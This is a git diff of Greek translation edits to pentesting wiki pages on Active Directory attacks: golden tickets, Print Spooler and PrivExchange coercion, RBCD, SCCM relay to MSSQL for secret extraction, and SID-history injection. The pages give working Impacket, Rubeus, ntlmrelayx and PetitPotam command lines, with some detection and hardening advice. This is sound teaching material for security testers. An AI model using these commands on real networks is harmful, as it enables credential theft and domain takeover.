απαιτούνται δικαιώματα διαχειριστή τομέα ή παρόμοιο επίπεδο πρόσβασης**. +Για να **αποκτήσετε το NTLM hash** του λογαριασμού krbtgt, μπορούν να χρησιμοποιηθούν διάφορες μέθοδοι. Μπορεί να εξαχθεί από τη **Διαδικασία Υποσυστήματος Τοπικής Ασφάλειας (LSASS)** ή το **αρχείο NT Directory Services (NTDS.dit)** που βρίσκεται σε οποιονδήποτε Domain Controller (DC) εντός του τομέα. Επιπλέον, **η εκτέλεση μιας επίθεσης DCsync** είναι μια άλλη στρατηγική για την απόκτηση αυτού του NTLM hash, η οποία μπορεί να πραγματοποιηθεί χρησιμοποιώντας εργαλεία όπως το **lsadump::dcsync module** στο Mimikatz ή το **secretsdump.py script** από το Impacket. Είναι σημαντικό να τονιστεί ότι για να εκτελούνται αυτές οι λειτουργίες, **συνήθως απαιτούνται δικαιώματα διαχειριστή τομέα ή παρόμοιο επίπεδο πρόσβασης**. -Αν και το NTLM hash χρησιμεύει ως μια βιώσιμη μέθοδος για αυτόν τον σκοπό, είναι **ισχυρά συνιστώμενο** να **κατασκευάζονται εισιτήρια χρησιμοποιώντας τα κλειδιά Kerberos Advanced Encryption Standard (AES) (AES128 και AES256)** για λόγους επιχειρησιακής ασφάλειας. +Αν και το NTLM hash χρησιμεύει ως μια βιώσιμη μέθοδος για αυτόν τον σκοπό, **συνιστάται έντονα** να **κατασκευάζετε εισιτήρια χρησιμοποιώντας τα κλειδιά Kerberos Advanced Encryption Standard (AES) (AES128 και AES256)** για λόγους επιχειρησιακής ασφάλειας. ```bash:From Linux python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache @@ -42,9 +42,9 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1 ``` Get-DomainPolicy | select -expand KerberosPolicy ``` -Δυστυχώς, η διάρκεια ζωής του TGT δεν καταγράφεται στα 4769, οπότε δεν θα βρείτε αυτές τις πληροφορίες στα Windows event logs. Ωστόσο, αυτό που μπορείτε να συσχετίσετε είναι **η εμφάνιση 4769 χωρίς προηγούμενο 4768**. Είναι **αδύνατο να ζητήσετε ένα TGS χωρίς ένα TGT**, και αν δεν υπάρχει καταγραφή ότι εκδόθηκε ένα TGT, μπορούμε να συμπεράνουμε ότι κατασκευάστηκε offline. +Δυστυχώς, η διάρκεια ζωής του TGT δεν καταγράφεται στα 4769, οπότε δεν θα βρείτε αυτές τις πληροφορίες στα Windows event logs. Ωστόσο, αυτό που μπορείτε να συσχετίσετε είναι **η εμφάνιση 4769 χωρίς προηγούμενο 4768**. Είναι **αδύνατο να ζητήσετε ένα TGS χωρίς ένα TGT**, και αν δεν υπάρχει καταγραφή ότι εκδόθηκε ένα TGT, μπορούμε να συμπεράνουμε ότι κατασκευάστηκε εκτός σύνδεσης. -Για να **παρακάμψετε αυτή την ανίχνευση**, ελέγξτε τα diamond tickets: +Για να **παρακάμψετε αυτήν την ανίχνευση**, ελέγξτε τα diamond tickets: {{#ref}} diamond-ticket.md diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index fe54be77d..65cabecdd 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -4,12 +4,12 @@ ## SharpSystemTriggers -[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) είναι μια **συλλογή** από **απομακρυσμένα triggers αυθεντικοποίησης** κωδικοποιημένα σε C# χρησιμοποιώντας τον μεταγλωττιστή MIDL για να αποφευχθούν οι εξαρτήσεις από τρίτους. +[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) είναι μια **συλλογή** από **remote authentication triggers** κωδικοποιημένα σε C# χρησιμοποιώντας MIDL compiler για να αποφευχθούν οι εξαρτήσεις από τρίτους. ## Spooler Service Abuse -Εάν η _**υπηρεσία Print Spooler**_ είναι **ενεργοποιημένη,** μπορείτε να χρησιμοποιήσετε κάποιες ήδη γνωστές διαπιστεύσεις AD για να **ζητήσετε** από τον εκτυπωτή του Domain Controller μια **ενημέρωση** για νέες εκτυπώσεις και απλώς να του πείτε να **στείλει την ειδοποίηση σε κάποιο σύστημα**.\ -Σημειώστε ότι όταν ο εκτυπωτής στέλνει την ειδοποίηση σε τυχαία συστήματα, χρειάζεται να **αυθεντικοποιηθεί** σε αυτό το **σύστημα**. Επομένως, ένας επιτιθέμενος μπορεί να κάνει την υπηρεσία _**Print Spooler**_ να αυθεντικοποιηθεί σε ένα τυχαίο σύστημα, και η υπηρεσία θα **χρησιμοποιήσει τον λογαριασμό υπολογιστή** σε αυτή την αυθεντικοποίηση. +Εάν η _**Print Spooler**_ υπηρεσία είναι **ενεργοποιημένη,** μπορείτε να χρησιμοποιήσετε κάποιες ήδη γνωστές AD πιστοποιήσεις για να **ζητήσετε** από τον εκτυπωτή του Domain Controller μια **ενημέρωση** για νέες εκτυπώσεις και απλά να του πείτε να **στείλει την ειδοποίηση σε κάποιο σύστημα**.\ +Σημειώστε ότι όταν ο εκτυπωτής στέλνει την ειδοποίηση σε τυχαία συστήματα, χρειάζεται να **αυθεντικοποιηθεί** σε αυτό το **σύστημα**. Επομένως, ένας επιτιθέμενος μπορεί να κάνει την υπηρεσία _**Print Spooler**_ να αυθεντικοποιηθεί σε ένα τυχαίο σύστημα, και η υπηρεσία θα **χρησιμοποιήσει τον υπολογιστή λογαριασμό** σε αυτή την αυθεντικοποίηση. ### Finding Windows Servers on the domain @@ -45,15 +45,16 @@ printerbug.py 'domain/username:password'@ ## RCP Force authentication + {{#ref}} https://github.com/p0dalirius/Coercer {{#endref}} ## PrivExchange -Η επίθεση `PrivExchange` είναι αποτέλεσμα ενός σφάλματος που βρέθηκε στη **λειτουργία `PushSubscription` του Exchange Server**. Αυτή η λειτουργία επιτρέπει στον διακομιστή Exchange να αναγκάζεται από οποιονδήποτε χρήστη τομέα με γραμματοκιβώτιο να πιστοποιείται σε οποιονδήποτε πελάτη που παρέχει έναν διακομιστή μέσω HTTP. +Η επίθεση `PrivExchange` είναι αποτέλεσμα ενός σφάλματος που βρέθηκε στη **λειτουργία `PushSubscription` του Exchange Server**. Αυτή η λειτουργία επιτρέπει στον διακομιστή Exchange να αναγκάζεται από οποιονδήποτε χρήστη τομέα με γραμματοκιβώτιο να πιστοποιείται σε οποιονδήποτε πελάτη που παρέχει διακομιστή μέσω HTTP. -Από προεπιλογή, η **υπηρεσία Exchange εκτελείται ως SYSTEM** και έχει υπερβολικά προνόμια (συγκεκριμένα, έχει **WriteDacl privileges στο τομέα πριν από την ενημέρωση Cumulative Update 2019**). Αυτό το σφάλμα μπορεί να εκμεταλλευτεί για να επιτρέψει την **αναμετάδοση πληροφοριών στο LDAP και στη συνέχεια να εξάγει τη βάση δεδομένων NTDS του τομέα**. Σε περιπτώσεις όπου η αναμετάδοση στο LDAP δεν είναι δυνατή, αυτό το σφάλμα μπορεί να χρησιμοποιηθεί για να αναμεταδώσει και να πιστοποιηθεί σε άλλες υποδοχές εντός του τομέα. Η επιτυχής εκμετάλλευση αυτής της επίθεσης παρέχει άμεση πρόσβαση στον Διαχειριστή Τομέα με οποιονδήποτε πιστοποιημένο λογαριασμό χρήστη τομέα. +Από προεπιλογή, η **υπηρεσία Exchange εκτελείται ως SYSTEM** και έχει υπερβολικά δικαιώματα (συγκεκριμένα, έχει **WriteDacl δικαιώματα στον τομέα πριν από την ενημέρωση Cumulative Update 2019**). Αυτό το σφάλμα μπορεί να εκμεταλλευτεί για να επιτρέψει την **αναμετάδοση πληροφοριών σε LDAP και στη συνέχεια να εξαγάγει τη βάση δεδομένων NTDS του τομέα**. Σε περιπτώσεις όπου η αναμετάδοση σε LDAP δεν είναι δυνατή, αυτό το σφάλμα μπορεί να χρησιμοποιηθεί για να αναμεταδώσει και να πιστοποιηθεί σε άλλες υποδοχές εντός του τομέα. Η επιτυχής εκμετάλλευση αυτής της επίθεσης παρέχει άμεση πρόσβαση στον Διαχειριστή Τομέα με οποιονδήποτε πιστοποιημένο λογαριασμό χρήστη τομέα. ## Μέσα στα Windows diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index eeaa279fd..4d90792ef 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -14,7 +14,7 @@ ### New Concepts Πίσω στην Constrained Delegation είχε αναφερθεί ότι η **`TrustedToAuthForDelegation`** σημαία μέσα στην τιμή _userAccountControl_ του χρήστη είναι απαραίτητη για να εκτελέσετε ένα **S4U2Self.** Αλλά αυτό δεν είναι εντελώς αλήθεια.\ -Η πραγματικότητα είναι ότι ακόμη και χωρίς αυτή την τιμή, μπορείτε να εκτελέσετε ένα **S4U2Self** εναντίον οποιουδήποτε χρήστη αν είστε μια **υπηρεσία** (έχετε ένα SPN) αλλά, αν έχετε **`TrustedToAuthForDelegation`** το επιστρεφόμενο TGS θα είναι **Forwardable** και αν **δεν έχετε** αυτή τη σημαία το επιστρεφόμενο TGS **δεν θα** είναι **Forwardable**. +Η πραγματικότητα είναι ότι ακόμα και χωρίς αυτή την τιμή, μπορείτε να εκτελέσετε ένα **S4U2Self** εναντίον οποιουδήποτε χρήστη αν είστε μια **υπηρεσία** (έχετε ένα SPN) αλλά, αν έχετε **`TrustedToAuthForDelegation`** το επιστρεφόμενο TGS θα είναι **Forwardable** και αν **δεν έχετε** αυτή τη σημαία το επιστρεφόμενο TGS **δεν θα** είναι **Forwardable**. Ωστόσο, αν το **TGS** που χρησιμοποιείται στο **S4U2Proxy** είναι **NOT Forwardable** προσπαθώντας να εκμεταλλευτείτε μια **βασική Constrain Delegation** δεν **θα λειτουργήσει**. Αλλά αν προσπαθείτε να εκμεταλλευτείτε μια **Resource-Based constrain delegation, θα λειτουργήσει**. @@ -24,13 +24,13 @@ Υποθέστε ότι ο επιτιθέμενος έχει ήδη **δικαιώματα εγγραφής ισοδύναμα στον υπολογιστή θύμα**. -1. Ο επιτιθέμενος **παραβιάζει** έναν λογαριασμό που έχει ένα **SPN** ή **δημιουργεί έναν** (“Service A”). Σημειώστε ότι **οποιοσδήποτε** _Admin User_ χωρίς κανένα άλλο ειδικό προνόμιο μπορεί να **δημιουργήσει** μέχρι 10 αντικείμενα Υπολογιστή (**_MachineAccountQuota_**) και να τους ορίσει ένα **SPN**. Έτσι, ο επιτιθέμενος μπορεί απλά να δημιουργήσει ένα αντικείμενο Υπολογιστή και να ορίσει ένα SPN. +1. Ο επιτιθέμενος **παραβιάζει** έναν λογαριασμό που έχει ένα **SPN** ή **δημιουργεί έναν** (“Service A”). Σημειώστε ότι **οποιοσδήποτε** _Admin User_ χωρίς καμία άλλη ειδική προνόμια μπορεί να **δημιουργήσει** μέχρι 10 αντικείμενα Υπολογιστή (**_MachineAccountQuota_**) και να τους ορίσει ένα **SPN**. Έτσι, ο επιτιθέμενος μπορεί απλά να δημιουργήσει ένα αντικείμενο Υπολογιστή και να ορίσει ένα SPN. 2. Ο επιτιθέμενος **καταχράται το δικαίωμα ΕΓΓΡΑΦΗΣ** του στον υπολογιστή θύμα (ServiceB) για να ρυθμίσει **resource-based constrained delegation ώστε να επιτρέψει στο ServiceA να παριστάνει οποιονδήποτε χρήστη** εναντίον αυτού του υπολογιστή θύμα (ServiceB). 3. Ο επιτιθέμενος χρησιμοποιεί το Rubeus για να εκτελέσει μια **πλήρη επίθεση S4U** (S4U2Self και S4U2Proxy) από το Service A στο Service B για έναν χρήστη **με προνομιακή πρόσβαση στο Service B**. -1. S4U2Self (από τον λογαριασμό SPN που παραβιάστηκε/δημιουργήθηκε): Ζητήστε ένα **TGS του Διαχειριστή για μένα** (Not Forwardable). -2. S4U2Proxy: Χρησιμοποιήστε το **όχι Forwardable TGS** του προηγούμενου βήματος για να ζητήσετε ένα **TGS** από τον **Διαχειριστή** προς τον **υπολογιστή θύμα**. -3. Ακόμη και αν χρησιμοποιείτε ένα όχι Forwardable TGS, καθώς εκμεταλλεύεστε την Resource-based constrained delegation, θα λειτουργήσει. -4. Ο επιτιθέμενος μπορεί να **περάσει το εισιτήριο** και να **παριστάνει** τον χρήστη για να αποκτήσει **πρόσβαση στην υπηρεσία θύμα ServiceB**. +1. S4U2Self (από τον λογαριασμό SPN που παραβιάστηκε/δημιουργήθηκε): Ζητήστε ένα **TGS του Administrator για μένα** (Not Forwardable). +2. S4U2Proxy: Χρησιμοποιήστε το **όχι Forwardable TGS** του προηγούμενου βήματος για να ζητήσετε ένα **TGS** από τον **Administrator** προς τον **υπολογιστή θύμα**. +3. Ακόμα και αν χρησιμοποιείτε ένα όχι Forwardable TGS, καθώς εκμεταλλεύεστε την Resource-based constrained delegation, θα λειτουργήσει. +4. Ο επιτιθέμενος μπορεί να **περάσει το εισιτήριο** και να **παριστάνει** τον χρήστη για να αποκτήσει **πρόσβαση στο θύμα ServiceB**. Για να ελέγξετε το _**MachineAccountQuota**_ του τομέα μπορείτε να χρησιμοποιήσετε: ```bash @@ -86,11 +86,11 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: / rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` > [!CAUTION] -> Σημειώστε ότι οι χρήστες έχουν ένα χαρακτηριστικό που ονομάζεται "**Cannot be delegated**". Εάν ένας χρήστης έχει αυτό το χαρακτηριστικό σε True, δεν θα μπορείτε να τον προσποιηθείτε. Αυτή η ιδιότητα μπορεί να προβληθεί μέσα από το bloodhound. +> Σημειώστε ότι οι χρήστες έχουν ένα χαρακτηριστικό που ονομάζεται "**Δεν μπορεί να ανατεθεί**". Εάν ένας χρήστης έχει αυτό το χαρακτηριστικό σε True, δεν θα μπορείτε να τον προσποιηθείτε. Αυτή η ιδιότητα μπορεί να φαίνεται μέσα στο bloodhound. ### Linux tooling: end-to-end RBCD with Impacket (2024+) -Εάν λειτουργείτε από Linux, μπορείτε να εκτελέσετε την πλήρη αλυσίδα RBCD χρησιμοποιώντας τα επίσημα εργαλεία Impacket: +If you operate from Linux, you can perform the full RBCD chain using the official Impacket tools: ```bash # 1) Create attacker-controlled machine account (respects MachineAccountQuota) impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!' @@ -167,23 +167,25 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025 - **`KDC_ERR_ETYPE_NOTSUPP`**: Αυτό σημαίνει ότι το kerberos είναι ρυθμισμένο να μην χρησιμοποιεί DES ή RC4 και παρέχετε μόνο το hash RC4. Παρέχετε στον Rubeus τουλάχιστον το hash AES256 (ή απλά παρέχετε του τα hashes rc4, aes128 και aes256). Παράδειγμα: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` - **`KRB_AP_ERR_SKEW`**: Αυτό σημαίνει ότι η ώρα του τρέχοντος υπολογιστή είναι διαφορετική από αυτήν του DC και το kerberos δεν λειτουργεί σωστά. -- **`preauth_failed`**: Αυτό σημαίνει ότι το δεδομένο όνομα χρήστη + hashes δεν λειτουργούν για είσοδο. Ίσως να ξεχάσατε να βάλετε το "$" μέσα στο όνομα χρήστη κατά την παραγωγή των hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) +- **`preauth_failed`**: Αυτό σημαίνει ότι το δοθέν όνομα χρήστη + hashes δεν λειτουργούν για είσοδο. Μπορεί να έχετε ξεχάσει να βάλετε το "$" μέσα στο όνομα χρήστη κατά την παραγωγή των hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) - **`KDC_ERR_BADOPTION`**: Αυτό μπορεί να σημαίνει: - Ο χρήστης που προσπαθείτε να μιμηθείτε δεν μπορεί να έχει πρόσβαση στην επιθυμητή υπηρεσία (επειδή δεν μπορείτε να τον μιμηθείτε ή επειδή δεν έχει αρκετά δικαιώματα) - Η ζητούμενη υπηρεσία δεν υπάρχει (αν ζητήσετε ένα εισιτήριο για winrm αλλά το winrm δεν εκτελείται) - Ο ψεύτικος υπολογιστής που δημιουργήθηκε έχει χάσει τα δικαιώματά του πάνω στον ευάλωτο διακομιστή και πρέπει να τα επιστρέψετε. -- Καταχράστε κλασικό KCD; θυμηθείτε ότι το RBCD λειτουργεί με μη αναστρέψιμα S4U2Self εισιτήρια, ενώ το KCD απαιτεί αναστρέψιμα. +- Καταχράστε το κλασικό KCD; θυμηθείτε ότι το RBCD λειτουργεί με μη αναστρέψιμα S4U2Self εισιτήρια, ενώ το KCD απαιτεί αναστρέψιμα. ## Notes, relays and alternatives - Μπορείτε επίσης να γράψετε το RBCD SD πάνω από τις Υπηρεσίες Ιστού AD (ADWS) αν το LDAP είναι φιλτραρισμένο. Δείτε: + {{#ref}} adws-enumeration.md {{#endref}} - Οι αλυσίδες αναμετάδοσης Kerberos συχνά καταλήγουν σε RBCD για να επιτύχουν το τοπικό SYSTEM σε ένα βήμα. Δείτε πρακτικά παραδείγματα από άκρο σε άκρο: + {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} @@ -198,4 +200,5 @@ adws-enumeration.md - Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py - Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/ + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md index 7a73356c7..7113772f3 100644 --- a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md +++ b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md @@ -3,33 +3,33 @@ {{#include ../../banners/hacktricks-training.md}} ## TL;DR -Με την πίεση ενός **System Center Configuration Manager (SCCM) Management Point (MP)** να αυθεντικοποιηθεί μέσω SMB/RPC και **αναμεταδίδοντας** αυτόν τον λογαριασμό μηχανής NTLM στη **βάση δεδομένων του ιστότοπου (MSSQL)** αποκτάτε δικαιώματα `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Αυτοί οι ρόλοι σας επιτρέπουν να καλέσετε ένα σύνολο αποθηκευμένων διαδικασιών που εκθέτουν **Operating System Deployment (OSD)** policy blobs (διαπιστευτήρια Network Access Account, μεταβλητές Task-Sequence, κ.λπ.). Τα blobs είναι κωδικοποιημένα/κρυπτογραφημένα σε hex αλλά μπορούν να αποκωδικοποιηθούν και να αποκρυπτογραφηθούν με **PXEthief**, αποκαλύπτοντας κείμενα μυστικά. +Με την πίεση ενός **System Center Configuration Manager (SCCM) Management Point (MP)** να αυθεντικοποιηθεί μέσω SMB/RPC και **αναμεταδίδοντας** αυτόν τον λογαριασμό μηχανής NTLM στη **βάση δεδομένων του ιστότοπου (MSSQL)** αποκτάτε δικαιώματα `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Αυτοί οι ρόλοι σας επιτρέπουν να καλέσετε ένα σύνολο αποθηκευμένων διαδικασιών που εκθέτουν **Operating System Deployment (OSD)** blobs (διαπιστευτήρια Network Access Account, μεταβλητές Task-Sequence, κ.λπ.). Τα blobs είναι κωδικοποιημένα/κρυπτογραφημένα σε hex αλλά μπορούν να αποκωδικοποιηθούν και να αποκρυπτογραφηθούν με **PXEthief**, αποκαλύπτοντας κείμενα μυστικά. -High-level chain: -1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`. -2. Start `ntlmrelayx.py -t mssql:// -ts -socks`. -3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, κ.λπ. -4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **\\$** account. -5. Execute: +Υψηλού επιπέδου αλυσίδα: +1. Ανακαλύψτε MP & βάση δεδομένων ιστότοπου ↦ μη αυθεντικοποιημένο HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`. +2. Ξεκινήστε `ntlmrelayx.py -t mssql:// -ts -socks`. +3. Πιέστε το MP χρησιμοποιώντας **PetitPotam**, PrinterBug, DFSCoerce, κ.λπ. +4. Μέσω του SOCKS proxy συνδεθείτε με `mssqlclient.py -windows-auth` ως ο αναμεταδιδόμενος **\\$** λογαριασμός. +5. Εκτελέστε: * `use CM_` * `exec MP_GetMachinePolicyAssignments N'',N''` -* `exec MP_GetPolicyBody N'',N''` (or `MP_GetPolicyBodyAfterAuthorization`) -6. Strip `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 `. +* `exec MP_GetPolicyBody N'',N''` (ή `MP_GetPolicyBodyAfterAuthorization`) +6. Αφαιρέστε το `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 `. -Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, κ.λπ. ανακτώνται χωρίς να αγγίξετε PXE ή πελάτες. +Μυστικά όπως `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, κ.λπ. ανακτώνται χωρίς να αγγίξετε PXE ή πελάτες. --- -## 1. Enumerating unauthenticated MP endpoints +## 1. Αριθμητική μη αυθεντικοποιημένων MP endpoints Η επέκταση ISAPI του MP **GetAuth.dll** εκθέτει αρκετές παραμέτρους που δεν απαιτούν αυθεντικοποίηση (εκτός αν ο ιστότοπος είναι μόνο PKI): -| Parameter | Purpose | -|-----------|---------| -| `MPKEYINFORMATIONMEDIA` | Επιστρέφει το δημόσιο κλειδί πιστοποίησης υπογραφής του ιστότοπου + GUIDs των συσκευών *x86* / *x64* **All Unknown Computers**. | +| Παράμετρος | Σκοπός | +|------------|--------| +| `MPKEYINFORMATIONMEDIA` | Επιστρέφει το δημόσιο κλειδί πιστοποίησης υπογραφής του ιστότοπου + GUIDs των συσκευών **All Unknown Computers** *x86* / *x64*. | | `MPLIST` | Λίστα με κάθε Management-Point στον ιστότοπο. | -| `SITESIGNCERT` | Επιστρέφει το πιστοποιητικό υπογραφής του Primary-Site (αναγνωρίζει τον διακομιστή ιστότοπου χωρίς LDAP). | +| `SITESIGNCERT` | Επιστρέφει το πιστοποιητικό υπογραφής του Primary-Site (αναγνωρίστε τον διακομιστή ιστότοπου χωρίς LDAP). | -Grab the GUIDs that will act as the **clientID** for later DB queries: +Αποκτήστε τα GUIDs που θα λειτουργήσουν ως **clientID** για μελλοντικά ερωτήματα DB: ```bash curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - ``` @@ -44,7 +44,7 @@ ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support python3 PetitPotam.py 10.10.10.20 10.10.10.99 \ -u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10 ``` -Όταν ενεργοποιηθεί η εξαναγκαστική διαδικασία, θα πρέπει να δείτε κάτι σαν: +Όταν ενεργοποιείται η εξαναγκαστική διαδικασία, θα πρέπει να δείτε κάτι σαν: ``` [*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED [*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433) @@ -65,7 +65,7 @@ SELECT SMS_Unique_Identifier0 FROM dbo.UnknownSystem_DISC WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86 ``` -### 3.2 Λίστα εκχωρημένων πολιτικών +### 3.2 Λίστα ανατεθειμένων πολιτικών ```sql EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''; ``` @@ -74,7 +74,7 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'' Επικεντρωθείτε σε πολιτικές: * **NAAConfig** – Διαπιστευτήρια Λογαριασμού Πρόσβασης Δικτύου * **TS_Sequence** – Μεταβλητές Ακολουθίας Εργασιών (OSDJoinAccount/Password) -* **CollectionSettings** – Μπορεί να περιέχει λογαριασμούς run-as +* **CollectionSettings** – Μπορεί να περιέχει λογαριασμούς εκτέλεσης ### 3.3 Ανάκτηση πλήρους σώματος Εάν έχετε ήδη `PolicyID` & `PolicyVersion` μπορείτε να παραλείψετε την απαίτηση clientID χρησιμοποιώντας: @@ -93,7 +93,7 @@ echo 'fffe3c003f0078…' | xxd -r -p > policy.xml # Decrypt with PXEthief (7 = decrypt attribute value) python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml) ``` -Παράδειγμα ανακτημένων μυστικών: +Ανακτημένα μυστικά παράδειγμα: ``` OSDJoinAccount : CONTOSO\\joiner OSDJoinPassword: SuperSecret2025! @@ -129,7 +129,7 @@ AND pe.permission_name='EXECUTE'; ## 6. Ανίχνευση & Σκληροποίηση 1. **Παρακολούθηση συνδέσεων MP** – οποιοσδήποτε λογαριασμός υπολογιστή MP που συνδέεται από μια IP που δεν είναι ο οικοδεσπότης του ≈ relay. 2. Ενεργοποιήστε την **Εκτενή Προστασία για Αυθεντικοποίηση (EPA)** στη βάση δεδομένων του ιστότοπου (`PREVENT-14`). -3. Απενεργοποιήστε το NTLM που δεν χρησιμοποιείται, επιβάλετε την υπογραφή SMB, περιορίστε το RPC ( +3. Απενεργοποιήστε το μη χρησιμοποιούμενο NTLM, επιβάλετε την υπογραφή SMB, περιορίστε το RPC ( οι ίδιες μετρήσεις που χρησιμοποιούνται κατά του `PetitPotam`/`PrinterBug`). 4. Σκληρύνετε την επικοινωνία MP ↔ DB με IPSec / αμοιβαίο TLS. @@ -137,11 +137,13 @@ AND pe.permission_name='EXECUTE'; ## Δείτε επίσης * Βασικές αρχές NTLM relay: + {{#ref}} ../ntlm/README.md {{#endref}} * Κατάχρηση MSSQL & μετα-εκμετάλλευση: + {{#ref}} abusing-ad-mssql.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index de5d22cbd..083a9eced 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -4,11 +4,11 @@ ## SID History Injection Attack -Ο στόχος της **Επίθεσης Εισαγωγής Ιστορικού SID** είναι η βοήθεια **μεταφοράς χρηστών μεταξύ τομέων** ενώ διασφαλίζεται η συνεχής πρόσβαση σε πόρους από τον πρώην τομέα. Αυτό επιτυγχάνεται με **την ενσωμάτωση του προηγούμενου Αναγνωριστικού Ασφαλείας (SID) του χρήστη στο Ιστορικό SID** του νέου του λογαριασμού. Σημαντικά, αυτή η διαδικασία μπορεί να παραποιηθεί για να παραχωρήσει μη εξουσιοδοτημένη πρόσβαση προσθέτοντας το SID μιας ομάδας υψηλών προνομίων (όπως οι Enterprise Admins ή οι Domain Admins) από τον γονικό τομέα στο Ιστορικό SID. Αυτή η εκμετάλλευση παρέχει πρόσβαση σε όλους τους πόρους εντός του γονικού τομέα. +Η εστίαση της **Επίθεσης Εισαγωγής Ιστορικού SID** είναι η βοήθεια **μεταφοράς χρηστών μεταξύ τομέων** ενώ διασφαλίζεται η συνεχής πρόσβαση σε πόρους από τον πρώην τομέα. Αυτό επιτυγχάνεται με **την ενσωμάτωση του προηγούμενου Αναγνωριστικού Ασφαλείας (SID) του χρήστη στο Ιστορικό SID** του νέου του λογαριασμού. Σημαντικό είναι ότι αυτή η διαδικασία μπορεί να παραποιηθεί για να παραχωρήσει μη εξουσιοδοτημένη πρόσβαση προσθέτοντας το SID μιας ομάδας υψηλών προνομίων (όπως οι Enterprise Admins ή οι Domain Admins) από τον γονικό τομέα στο Ιστορικό SID. Αυτή η εκμετάλλευση παρέχει πρόσβαση σε όλους τους πόρους εντός του γονικού τομέα. -Δύο μέθοδοι υπάρχουν για την εκτέλεση αυτής της επίθεσης: μέσω της δημιουργίας είτε ενός **Golden Ticket** είτε ενός **Diamond Ticket**. +Υπάρχουν δύο μέθοδοι για την εκτέλεση αυτής της επίθεσης: μέσω της δημιουργίας είτε ενός **Golden Ticket** είτε ενός **Diamond Ticket**. -Για να προσδιορίσετε το SID της ομάδας **"Enterprise Admins"**, πρέπει πρώτα να εντοπίσετε το SID του ριζικού τομέα. Αφού γίνει η αναγνώριση, το SID της ομάδας Enterprise Admins μπορεί να κατασκευαστεί προσθέτοντας `-519` στο SID του ριζικού τομέα. Για παράδειγμα, αν το SID του ριζικού τομέα είναι `S-1-5-21-280534878-1496970234-700767426`, το αποτέλεσμα SID για την ομάδα "Enterprise Admins" θα ήταν `S-1-5-21-280534878-1496970234-700767426-519`. +Για να προσδιορίσετε το SID της ομάδας **"Enterprise Admins"**, πρέπει πρώτα να εντοπίσετε το SID του ριζικού τομέα. Αφού γίνει η αναγνώριση, το SID της ομάδας Enterprise Admins μπορεί να κατασκευαστεί προσθέτοντας `-519` στο SID του 